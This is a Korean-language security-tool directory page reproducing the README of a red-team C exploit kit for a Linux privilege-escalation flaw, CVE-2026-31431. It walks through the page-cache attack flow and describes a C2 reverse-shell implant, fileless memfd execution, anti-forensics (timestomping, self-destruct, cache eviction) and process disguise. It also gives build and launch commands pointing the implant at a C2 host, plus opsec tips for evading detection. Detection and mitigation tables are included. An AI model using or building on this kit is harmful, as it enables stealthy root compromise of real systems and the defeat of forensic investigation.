Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
COPY-FAIL — Copy Fail - CVE-2026-31431 - 레드팀 및 승인된 침투 테스트 작업을 위한 강화된 C 구현. ⚠️ 법적 고지: 이 도구는 승인된 보안 연구, 승인된 침투 테스트 및 방어 분석을 위해서만 사용됩니다. 귀하가 소유하거나 명시적 서면 허가를 받은 시스템에서만 사용하십시오. 컴퓨터 시스템에 대한 무단 접근은 불법입니다. | Kitploit
도구/GitLabGitLab/toxy4ny/copy-fail
Privilege EscalationExploitationPost-ExploitationCommand and ControlRed TeamingPayload DevelopmentBinary Exploitation
GitLabtoxy4ny/copy-fail

COPY-FAIL

Copy Fail - CVE-2026-31431 - 레드팀 및 승인된 침투 테스트 작업을 위한 강화된 C 구현. ⚠️ 법적 고지: 이 도구는 승인된 보안 연구, 승인된 침투 테스트 및 방어 분석을 위해서만 사용됩니다. 귀하가 소유하거나 명시적 서면 허가를 받은 시스템에서만 사용하십시오. 컴퓨터 시스템에 대한 무단 접근은 불법입니다.

저장소 보기
122개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
웹사이트

복사 실패 -- CVE-2026-31431

레드팀 및 승인된 침투 테스트 작전을 위한 강화된 C 구현체입니다.

⚠️ 법적 고지: 이 도구는 승인된 보안 연구, 승인된 침투 테스트, 방어적 분석만을 위해 사용됩니다. 귀하가 소유하거나 명시적인 서면 허가를 받은 시스템에서만 사용하십시오. 컴퓨터 시스템에 대한 무단 접근은 불법입니다.

🚀 주요 개발이 GitLab으로 이전되었습니다.
이 저장소는 여기에서 적극적으로 유지 관리됩니다. 문제 제기 및 기여는 GitLab을 사용해 주십시오.


Table of Contents

  • 개요
  • 원본 연구
  • 우리의 개선 사항
  • 아키텍처
  • 빌드
  • 사용법
  • 모듈
  • 작전 보안
  • 탐지 및 완화
  • 크레딧
  • 라이선스

개요

이 프로젝트는 2026년 4월 29일 Theori와 Xint가 최초로 공개한 CVE-2026-31431 ("Copy Fail") 로컬 권한 상승 익스플로잇을 강화하고 프로덕션에 준비된 C로 포팅한 것입니다.

원본 개념 증명은 Python으로 작성되었으며 연구 데모용으로 설계되었습니다. 이 구현체는 이를 레드팀급 도구 키트로 변환합니다:

  • 디스크 아티팩트 제로 (memfd 기반 파일리스 실행)
  • 자동 대상 탐색 (MAC 인식을 통한 setuid 바이너리 열거)
  • 안티-포렌식 (캐시 제거, 타임스탬프 복원, 자체 파괴)
  • 운영자 제어 (구성 가능한 타임아웃이 있는 신호 트리거 실행)
  • 크로스 플랫폼 정적 빌드 (musl/zig를 통한 x86_64, ARM64, RISC-V)

원본 연구

CVE-2026-31431: Copy Fail

취약점 메커니즘

취약점은 리눅스 커널의 AF_ALG 암호화 서브시스템에 있습니다. authencesn AEAD 템플릿은 복호화를 위한 제자리 최적화를 구현합니다: 파일의 페이지 캐시에서 splice()를 통해 암호문이 제공되면, 커널은 동일한 페이지를 소스와 목적지로 재사용합니다.

공격 흐름:

  1. setuid 바이너리(예: /usr/bin/su)를 읽기 전용으로 엽니다
  2. AF_ALG를 통해 authencesn(hmac(sha256),cbc(aes)) AEAD 연산을 설정합니다
  3. 대상 파일의 페이지 캐시에서 splice()를 통해 암호문을 제공합니다
  4. (실패하는) 복호화 연산은 인증이 거부되기 전에 페이지 캐시 페이지의 4바이트를 덮어씁니다
  5. 페이로드의 각 4바이트 윈도우에 대해 반복합니다
  6. execve() 대상 -- 커널이 캐시에서 변형된 페이지를 로드하여 setuid-root 자격 증명을 부여합니다
  7. 페이로드가 전체 루트 셸로 전환합니다

핵심 통찰: 디스크 상의 inode는 절대 수정되지 않습니다. 메모리 내 페이지 캐시만 변형되므로, 전통적인 파일 덮어쓰기 익스플로잇보다 포렌식 탐지가 훨씬 더 어려워집니다.


우리의 개선 사항

이 프로젝트는 9개의 모듈에 걸쳐 레드팀 지향 강화를 통해 원래 연구를 확장합니다.

1. 강화된 익스플로잇 프리미티브 (patch_chunk.c)

2. 자동 대상 탐색 (target_discovery.c)

  • 3단계 스캐닝: 우선 대상 → 표준 디렉토리 → 심층 스캔
  • MAC 인식 점수: AppArmor/SELinux 프로파일이 있는 바이너리에 페널티
  • 18개 우선 대상: su, sudo, passwd, pkexec, mount, ping 등
  • 폴백 체인: 기본 대상이 실패하면 자동으로 다음 최적 후보 선택
  • Snap 인식: /snap 건너뜀 (비전통적 setuid)

3. 안티-포렌식 스위트 (anti_forensics.c)

4. 파일리스 실행 (memfd_exec.c)

  • memfd_create + fexecve: 파일시스템 경로 없이 실행
  • 은폐: kworker, anon_inode, eventfd로 명명된 memfd (/proc/$pid/fd/에 혼합)
  • 포크 앤 포겟: 더블 포크로 고아 프로세스 생성 (PPID=1)
  • 메모리 내 복호화: XOR 및 RC4 복호화 후 실행 (페이로드가 디스크에 평문으로 저장되지 않음)

5. 스테이지 1 페이로드 전달 (stage1.c)

6. 스테이지 2 C2 임플란트 (stage2_template.c)

  • 지수 백오프가 있는 복원력 있는 재연결 루프
  • 세 가지 분포: 균일, 삼각, 지수 지터
  • 신호 제어: SIGUSR1 (트리거), SIGUSR2 (상태), SIGTERM (종료)
  • DNS 비콘: TCP 연결 전 은밀한 C2 상태 확인
  • 프로세스 위장: ps/top에서 [kworker/N:0]

7. 프로세스 숨기기 (proc_hide.c)

  • argv[0] 덮어쓰기: /proc/$pid/cmdline 제자리 대체
  • prctl(PR_SET_NAME): 커널 스레드 스타일 이름 (16바이트 제한)
  • 환경 변수 정리: SSH_*, AWS_*, TOKEN* 등의 선택적 삭제
  • 부모 분리: 터미널 독립성을 위한 setsid() + setpgid()

8. 신호 트리거 제어 (signal_trigger.c)

모드동작사용 사례
trigger_oneshot()수면 → 트리거 → 실행 → 종료히트 앤 런

CPU 제로 대기: 폴링 루프 대신 sigsuspend().

9. 수면 지터 (sleep_jitter.c)

  • 세 가지 RNG 백엔드: getrandom(2), /dev/urandom, rdtsc 폴백
  • 거부 표본 추출: 균일 분포에서 모듈로 편향 제거
  • 드리프트 보상: sleep_scheduled()가 지터에도 불구하고 평균 간격 유지
  • 샌드박스 탐지: check_sandbox_acceleration()가 패치된 sleep() 탐지

아키텍처

root@kitploit:~
┌─────────────────────────────────────────────────────────────┐
│                     exploit.c (Orchestrator)                 │
│  ┌─────────┐ ┌─────────┐ ┌─────────┐ ┌─────────┐          │
│  │  Hide   │ │Discover │ │ Exploit │ │ Cleanup │          │
│  │ Process │ │ Target  │ │         │ │         │          │
│  └────┬────┘ └────┬────┘ └────┬────┘ └────┬────┘          │
│       │           │           │           │                │
│       ▼           ▼           ▼           ▼                │
│  ┌─────────────────────────────────────────────────────┐  │
│  │              Core Module Layer                        │  │
│  │  patch_chunk.c  target_discovery.c  anti_forensics.c  │  │
│  └─────────────────────────────────────────────────────┘  │
│       │           │           │           │                │
│       ▼           ▼           ▼           ▼                │
│  ┌─────────────────────────────────────────────────────┐  │
│  │              Delivery & Evasion Layer               │  │
│  │  stage1.c  memfd_exec.c  proc_hide.c                │  │
│  │  signal_trigger.c  sleep_jitter.c                   │  │
│  └─────────────────────────────────────────────────────┘  │
│       │           │           │           │                │
│       ▼           ▼           ▼           ▼                │
│  ┌─────────────────────────────────────────────────────┐  │
│  │              Payload Layer (Stage-2)                │  │
│  │  stage2_template.c  (reverse shell / C2 implant)    │  │
│  └─────────────────────────────────────────────────────┘  │
└─────────────────────────────────────────────────────────────┘

빌드

요구 사항

  • GCC 또는 Clang
  • GNU Make
  • 리눅스 헤더 (linux-libc-dev 또는 동등)
  • 선택: musl-tools (작은 정적 빌드용)
  • 선택: zig (현대적 크로스 컴파일용)
  • 선택: dpkg-deb (데비안 패키징용)

빠른 시작

root@kitploit:~
# Standard redteam build (optimized, stripped, static)
make redteam

# Pentest build (symbols, moderate optimization)
make pentest

# Debug build (ASAN, full symbols)
make debug

# Vulnerability checker (non-destructive)
make checker

크로스 컴파일

root@kitploit:~
# ARM64 (AWS/Azure cloud targets)
make cross-arm64

# RISC-V
make cross-riscv

# ARM HF (embedded/IoT)
make cross-armhf

# Zig cross-compile (no toolchain installation)
make cross-zig-arm64
make cross-zig-riscv

musl 정적 빌드 (작은 바이너리)

root@kitploit:~
make musl-static
# Produces ~50-100 KB static binaries with zero glibc dependency

데비안 패키지

root@kitploit:~
make deb VERSION=1.0.0
# Produces: build/deb/copy-fail-cve-2026-31431-1.0.0.deb

빌드 정보

root@kitploit:~
make info
# Shows: CC, CFLAGS, LDFLAGS, architecture, toolchain availability

사용법

표준 모드 (신호 트리거)

root@kitploit:~
# Deploy implant
./exploit &
IMP_PID=$!

# Trigger exploitation remotely
kill -USR1 $IMP_PID

# Request status (no action)
kill -USR2 $IMP_PID

# Graceful shutdown
kill -TERM $IMP_PID

즉시 실행

root@kitploit:~
./exploit -t                    # Trigger now, no signal wait
./exploit -t -c c2.example.com -p 9999

사용자 정의 구성

root@kitploit:~
./exploit \
  -c c2.redteam.internal \      # C2 hostname
  -p 4444 \                      # C2 port
  -d 300 \                       # 5-minute initial delay
  -T 7200 \                      # 2-hour trigger timeout
  -n                             # Skip vulnerability verification

비파괴 취약점 검사

root@kitploit:~
./vulnerable
# Exit code: 100 = vulnerable, 0 = patched, other = error

모듈


작전 보안

레드팀 모범 사례

  1. 상관 관계를 최소화하기 위해 활동이 적은 기간에 배포
  2. 재연결 간격에 지수 지터 사용 (비콘 탐지 회피)
  3. 자동 트리거 대신 SIGUSR1을 통해 트리거 (운영자가 제어 유지)
  4. 익스플로잇이 실패하더라도 항상 정리 실행 (full_cleanup)
  5. 디스크 기반 페이로드보다 memfd 실행 선호
  6. 지속성을 위한 더블 포크 (memfd_fork_exec_detach)
  7. 실행 전 샌드박스 가속 모니터링

포렌식 아티팩트


탐지 및 완화

방어적 탐지

완화 조치

  1. 커널 패치: 커밋 a664bf3d603d가 포함된 리눅스 >= 6.14로 업그레이드
  2. 라이브패치: 배포판별 백포트 적용
  3. SELinux/AppArmor: setuid 바이너리에 프로파일 적용
  4. eBPF 모니터링: AF_ALG + splice() 조합 추적
  5. 페이지 캐시 검증: 중요한 바이너리에 대한 정기적 무결성 검사

크레딧

원본 연구

  • Theori -- Jinoh Kang, Yonghwi Jin, Seunghyun Lee
  • Xint -- 협력 공개
  • 기고문: https://copy.fail/
  • 원본 PoC: theori-io/copy-fail-CVE-2026-31431

기반 C 포트

  • Tony Gies -- tgies/copy-fail-c
  • nolibc를 사용한 기초 C 구현 제공
  • 크로스 플랫폼 시스템 콜 래퍼 및 빌드 인프라

이 강화된 포크

  • 9개 모듈에 걸친 레드팀 지향 강화
  • 작전 보안 기능 (안티-포렌식, 회피, 은밀성)
  • 크로스 컴파일 지원 (musl, zig, 다중 아키텍처)
  • 신호 기반 운영자 제어 및 구성 가능한 실행 모드

감사의 말

  • memfd_create(2)와 fexecve(3)를 위한 리눅스 커널 개발자
  • 헤더 전용 libc 대안을 위한 nolibc 유지 관리자
  • 작은 정적 바이너리를 위한 musl libc 프로젝트
  • 현대적 크로스 컴파일 툴체인을 위한 Zig 프로젝트

라이선스

이 프로젝트는 이중 라이선스로 제공됩니다:

  • LGPL-2.1-or-later
  • MIT

SPDX 식별자는 개별 소스 파일을 참조하십시오.

원본 연구와 기반 C 포트는 각각의 라이선스 하에 유지됩니다. 이 포크의 추가 코드는 오픈소스 및 상업적 보안 연구 사용 사례 모두와의 최대 호환성을 위해 위의 이중 라이선스로 제공됩니다.


면책 조항

이 소프트웨어는 승인된 보안 연구 및 승인된 침투 테스트 전용으로 제공됩니다. 저자는 이 소프트웨어의 오용이나 피해에 대해 어떠한 책임도 지지 않습니다. 소유하지 않은 시스템을 테스트하기 전에 항상 적절한 승인을 받으십시오.

시스템에서 이 취약점을 발견한 경우:

  • 커널 패치 적용 (커밋 a664bf3d603d 또는 배포판 백포트)
  • 위에 나열된 침해 지표(IoC) 모니터링
  • /var/log/audit/ 및 EDR 텔레메트리에서 AF_ALG 이상 검토
도구 다운로드
속성값
공개일2026년 4월 29일
연구자Theori (Jinoh Kang, Yonghwi Jin, Seunghyun Lee), Xint
기고문https://copy.fail/
원본 PoCtheori-io/copy-fail-CVE-2026-31431 (Python)
C 포트 (기반)tgies/copy-fail-c by Tony Gies
영향받는 커널리눅스 4.14 -- 6.14 (수정 커밋 a664bf3d603d 이전)
심각도CVSS 7.8 (높음) -- 로컬 권한 상승
기능원본우리 구현
소켓 관리청크당 새 소켓소켓 재사용 (~60% 적은 시스템 콜)
검증없음mmap + memcmp 및 자동 재시도 (3회 시도)
병렬 쓰기순차적만포크 기반 병렬 (최대 16개 프로세스)
오류 코드이진 성공/실패세분화: 0=확인됨, 1=패치된 커널, -1=치명적
힙 할당핫 경로에서 malloc스택 전용 (할당 지터 없음)
기법목적
posix_fadvise(POSIX_FADV_DONTNEED)파일별 페이지 캐시 제거
echo 3 > /proc/sys/vm/drop_caches전역 캐시 삭제 (루트 획득 후)
utimensat() timestomp원래 atime/mtime 복원
자체 파괴실행 전 드로퍼 바이너리를 0으로 덮어쓰기
메모리 지우기민감한 버퍼의 volatile 제로화
채널은밀성속도폴백 우선순위
임베디드최대즉시마지막 (에어갭)
HTTP 직접중간<1초첫 번째
시스템 curl/wget낮음1-3초두 번째 (HTTPS 지원)
DNS TXT높음느림세 번째 (방화벽 우회)
trigger_daemon()
수면 → 트리거 → 실행 → 반복
지속적 임플란트
trigger_auto()타임아웃 폴백이 있는 수면무인 작전
모듈파일(들)목적
익스플로잇 프리미티브patch_chunk.c/hAF_ALG/splice 페이지 캐시 변형
대상 탐색target_discovery.c/hsetuid 바이너리 자동 스캔 및 점수
안티-포렌식anti_forensics.c/h정리, 타임스탬프 조작, 자체 파괴
스테이지 1 전달stage1.c/h파일리스 페이로드 가져오기 및 실행
스테이지 2 C2stage2_template.c/h재연결 루프가 있는 리버스 셸
memfd 실행memfd_exec.c/h익명 파일 실행 프리미티브
프로세스 숨기기proc_hide.c/hargv/cmdline/comm 위장
신호 제어signal_trigger.c/h운영자 트리거 실행
수면 지터sleep_jitter.c/h분포를 사용한 무작위 지연
오케스트레이터exploit.c메인 진입점 및 조정
검사기vulnerable.c비파괴 취약점 프로브
아티팩트위치완화
변형된 페이지 캐시RAM에만drop_page_cache_for_file()
바이너리 경로/proc/$pid/exememfd ((deleted)로 표시)
명령줄/proc/$pid/cmdlineoverwrite_argv()
프로세스 이름/proc/$pid/commprctl(PR_SET_NAME)
타임스탬프대상에 대한 stat()timestomp_file()
드로퍼 바이너리디스크 상self_destruct_and_exec()
네트워크 연결netstat, EDRDNS 비콘, 지터
지표탐지 방법
AF_ALG 소켓 + splice() 패턴eBPF 시스템 콜 추적
의심스러운 이름의 memfd_create/proc/$pid/fd/ 모니터링
유저 공간에서 대괄호로 묶인 프로세스 이름프로세스 이상 탐지
단일 도메인에 대한 정기적인 DNS 질의DNS 분석
페이지 캐시 무결성 불일치커널 메모리 포렌식